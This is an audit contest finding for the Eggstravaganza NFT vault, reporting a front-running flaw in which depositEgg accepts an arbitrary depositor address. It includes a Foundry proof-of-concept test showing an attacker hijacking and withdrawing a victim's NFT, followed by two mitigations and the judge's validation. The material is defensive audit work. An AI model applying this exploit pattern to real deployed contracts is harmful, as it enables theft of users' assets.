Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect Depositor Assignment (Front-Running/Theft)

kweks

Description

The depositEgg function allows any caller to specify the depositor address for a given tokenId. This introduces a critical vulnerability where a malicious actor can frontrun the legitimate depositor by calling depositEgg with themselves as the depositor after the victim transfers the NFT to the vault but before the victim records the deposit. Once registered, the attacker gains control over the egg’s withdrawal process, effectively stealing the NFT.

This behavior breaks user expectations and can result in ithe rreversible loss of NFTs, especially since the vault is assumed to be a trusted custodian.

Impact

  • High: Unauthorized withdrawal of NFTs.

  • Attackers can steal NFTs from legitimate owners by racing them to call depositEgg.

  • Original owners are unable to reclaim their NFTs once the attacker has withdrawn them.

  • Damages user trust and can lead to asset loss if exploited in a live environment.

Proof of Code (PoC)

contract FrontrunningPOC is Test {
EggstravaganzaNFT public eggNFT;
EggVault public eggVault;
address public victim = address(0x1);
address public attacker = address(0x2);
address public owner = address(0x3);
address public gameContract = address(0x4);
function setUp() public {
vm.startPrank(owner);
eggNFT = new EggstravaganzaNFT("EggstravaganzaNFT", "EGG");
eggVault = new EggVault();
eggVault.setEggNFT(address(eggNFT));
eggNFT.setGameContract(gameContract);
vm.stopPrank();
vm.startPrank(gameContract);
eggNFT.mintEgg(victim, 1);
vm.stopPrank();
}
function testFrontrunningAttack() public {
vm.startPrank(victim);
eggNFT.approve(address(eggVault), 1);
eggNFT.transferFrom(victim, address(eggVault), 1);
vm.stopPrank();
vm.startPrank(attacker);
eggVault.depositEgg(1, attacker); // Frontruns the victim
vm.stopPrank();
vm.startPrank(victim);
vm.expectRevert("Egg already deposited");
eggVault.depositEgg(1, victim); // Fails
vm.expectRevert("Not the original depositor");
eggVault.withdrawEgg(1); // Fails
vm.stopPrank();
vm.startPrank(attacker);
eggVault.withdrawEgg(1); // Succeeds
vm.stopPrank();
​
assertEq(eggNFT.ownerOf(1), attacker); // Attacker now owns the egg
}
}
​

Recommended Mitigation

Option 1: Infer the depositor from msg.sender inside depositEgg()

Instead of allowing the caller to specify a depositor, the contract should infer it from the transaction sender. This prevents unauthorized users from claiming others’ NFTs.

function depositEgg(uint256 tokenId) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
​
storedEggs[tokenId] = true;
eggDepositors[tokenId] = msg.sender;
​
emit EggDeposited(msg.sender, tokenId);
}
​

Option 2: Implement onERC721Received to automate deposits via safeTransferFrom

By implementing the onERC721Received interface, the vault can automatically register a deposit when an NFT is safely transferred, using the from field to capture the actual depositor. This eliminates the need for a manual depositEgg() call and prevents front-running entirely.

function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
require(msg.sender == address(eggNFT), "Only EggNFT allowed");
require(!storedEggs[tokenId], "Egg already deposited");
​
storedEggs[tokenId] = true;
eggDepositors[tokenId] = from;
​
emit EggDeposited(from, tokenId);
​
return this.onERC721Received.selector;
}
​

This method is highly user-friendly and front-running resistant, making it ideal for integrating secure and seamless NFT deposits into the vault.

Recommended Approach:
Use onERC721Received as the primary deposit method and optionally retain a simplified version of depositEgg() that infers the depositor from msg.sender for compatibility with direct transferFrom calls. This ensures both safety and ease of use across different user behaviors.

Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.